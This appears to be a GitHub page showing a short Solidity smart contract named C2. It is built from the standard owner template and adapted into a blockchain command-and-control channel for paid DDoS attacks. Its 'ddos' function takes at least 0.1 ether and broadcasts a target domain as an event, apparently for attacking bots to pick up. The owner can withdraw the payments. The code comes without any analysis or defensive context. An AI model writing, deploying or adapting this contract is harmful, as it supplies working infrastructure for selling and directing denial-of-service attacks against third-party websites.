-
Notifications
You must be signed in to change notification settings - Fork 0
/
c2.sol
54 lines (45 loc) · 1.63 KB
/
c2.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Owner
* @dev Set & change owner
*/
contract C2 {
address private owner;
// event for EVM logging
event OwnerSet(address oldOwner, address newOwner);
event C2Domain(string domain);
// modifier to check if caller is owner
modifier isOwner() {
// If the first argument of 'require' evaluates to 'false', execution terminates and all
// changes to the state and to Ether balances are reverted.
// This used to consume all gas in old EVM versions, but not anymore.
// It is often a good idea to use 'require' to check if functions are called correctly.
// As a second argument, you can also provide an explanation about what went wrong.
require(msg.sender == owner, "Caller is not owner");
_;
}
/**
* @dev Set contract deployer as owner
*/
constructor() {
owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
emit OwnerSet(address(0), owner);
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() external view returns (address) {
return owner;
}
function withdraw() public isOwner {
uint amount = address(this).balance;
(bool success, ) = owner.call{value: amount}("");
require(success, "Failed to send Ether");
}
function ddos(string calldata domain) payable public {
require(msg.value >= .1 ether);
emit C2Domain(domain);
}
}